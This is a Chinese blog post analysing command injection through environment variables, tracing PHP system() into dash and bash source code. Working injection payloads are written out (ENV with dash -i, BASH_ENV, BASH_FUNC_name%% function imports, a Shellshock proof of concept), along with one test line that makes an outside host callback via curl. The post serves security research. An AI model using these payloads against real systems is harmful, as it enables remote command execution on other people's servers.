nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

环境变量注入简单了解

前言

参考文章https://tttang.com/archive/1450/#toc_0x03-dash

分析

分析PHP的system函数的代码,然后发现PHP的system调用的是系统的popen(),继续分析popen究竟在做什么,popen()仍然没完,还得继续套娃下去,实际上popen最终执行的是spawn_process函数:static bool

spawn_process (posix_spawn_file_actions_t *fa, FILE *fp, const char *command,
           int do_cloexec, int pipe_fds[2], int parent_end, int child_end,
           int child_pipe_fd)
{

  //...

  if (__posix_spawn (&((_IO_proc_file *) fp)->pid, _PATH_BSHELL, fa, 0,
             (char *const[]){ (char*) "sh", (char*) "-c",
             (char *) command, NULL }, __environ) != 0)
    return false;

  //...

  return true;
}

从第九行代码中,我们发现,最终执行的是“sh”, (char*) “-c”,即命令sh -c “echo hello”

现在我们来思考,我可以控制执行sh -c “echo hello”时的环境变量,是否可以getshell?

sh -c “echo hello”实质上执行了两个二进制文件,即

sh
echo
sh其实只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash。

Ubuntu系统

Ubuntu,属于debian系,在debian系操作系统中,sh指向dash
来到dash,在dash的main函数中有一句很重要的话

if ((shinit = lookupvar("ENV")) != NULL && *shinit != '\0') {
read_profile(shinit);
}

lookupvar用于查找上下文中的变量,在shell中变量即为环境变量,所以这里等于找到了一个名为ENV的环境变量并传入read_profile函数中。read_profile函数作用是读取SHELL中的profile文件比如类似于$HOME/.profile这种:

STATIC void
read_profile(const char *name)
{
   name = expandstr(name);
   if (setinputfile(name, INPUT_PUSH_FILE | INPUT_NOFILE_OK) < 0)
        return;

  cmdloop(0);
  popfile();
}

但很有意思的是,这里它对文件名name变量做了一次expandstr,也就是解析。这个解析的目的是支持SHELL语法,比如会将$HOME解析成实际的家目录地址。既然支持SHELL语法,那么可能会支持执行命令,但可惜用如下命令不能成功注入

ENV='$(curl 675ba661.o53.xyz)' dash -c id
之后的一些分析就算了,直接看结论,就是我们还需要加入-i参数

ENV='$(id 1>&2)' dash -i -c 'echo hello'

就可以成功执行命令。

centos

在centos系操作系统中,sh指向bash。在Bash中这个环境变量叫BASH_ENV,然后借上面的分析执行一波,发现BASH_ENV='$(id 1>&2)' bash -c 'echo hello'2024-03-04T07:15:11.png执行成功

但是如果是sh -c就不能执行
直接给结论
variables.c的initialize_shell_variables函数用于将环境变量注册成SHELL的变量,其中包含的一段代码引起了我的注意:

for (string_index = 0; env && (string = env[string_index++]); ) {
    name = string;
    // ...

    if (privmode == 0 && read_but_dont_execute == 0 && 
        STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN) &&
        STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN) &&
        STREQN ("() {", string, 4))
    {
        size_t namelen;
        char *tname;        /* desired imported function name */

        namelen = char_index - BASHFUNC_PREFLEN - BASHFUNC_SUFFLEN;

        tname = name + BASHFUNC_PREFLEN;    /* start of func name */
        tname[namelen] = '\0';      /* now tname == func name */

        string_length = strlen (string);
        temp_string = (char *)xmalloc (namelen + string_length + 2);

        memcpy (temp_string, tname, namelen);
        temp_string[namelen] = ' ';
        memcpy (temp_string + namelen + 1, string, string_length + 1);

        /* Don't import function names that are invalid identifiers from the
         environment in posix mode, though we still allow them to be defined as
         shell variables. */
        if (absolute_program (tname) == 0 && (posixly_correct == 0 || legal_identifier (tname)))
            parse_and_execute (temp_string, tname, SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);
        else
            free (temp_string);     /* parse_and_execute does this */
        //...
    }
}

这里for遍历了所有环境变量,并用=分割,name就是环境变量名,string是值。

当满足下面这些条件的情况下,temp_string将被传入parse_and_execute执行:

privmode == 0,即不能传入-p参数
read_but_dont_execute == 0,即不能传入-n参数
STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN),环境变量名前10个字符等于BASH_FUNC_
STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN),环境变量名后两个字符等于%%
STREQN ("() {", string, 4),环境变量的值前4个字符等于() {
前两个条件肯定是满足的,后三个条件是用户可控的,所以这个if语句是肯定可以进入的。进入if语句后,去除前缀BASH_FUNC_和后缀%%的部分将是一个变量名,而由() {开头的字符串将会被执行。

这里其实做的就是一件事:根据环境变量的值初始化一个匿名函数,并赋予其名字。

所以,我们传入下面这样一个环境变量,将会在Bash上下文中添加一个myfunc函数:

env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'
再比如后面如果是echo函数,我们就改为BASH_FUNC_echo%%=() { id; }

Bash没有修复ShellShock漏洞:直接使用ShellShock的POC进行测试,例如TEST=() { :; }; id;
Bash 4.4以前:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
Bash 4.4及以上:env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'

总结

本文完整地讲述了我是如何研究环境变量注入导致的安全问题。

经过阅读dash和bash的代码,我发现了这样一些可以导致命令注入的环境变量:

BASH_ENV:可以在bash -c的时候注入任意命令
ENV:可以在sh -i -c的时候注入任意命令
PS1:可以在sh或bash交互式环境下执行任意命令
PROMPT_COMMAND:可以在bash交互式环境下执行任意命令
BASH_FUNC_xxx%%:可以在bash -c或sh -c的时候执行任意命令

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » 环境变量注入简单了解

评论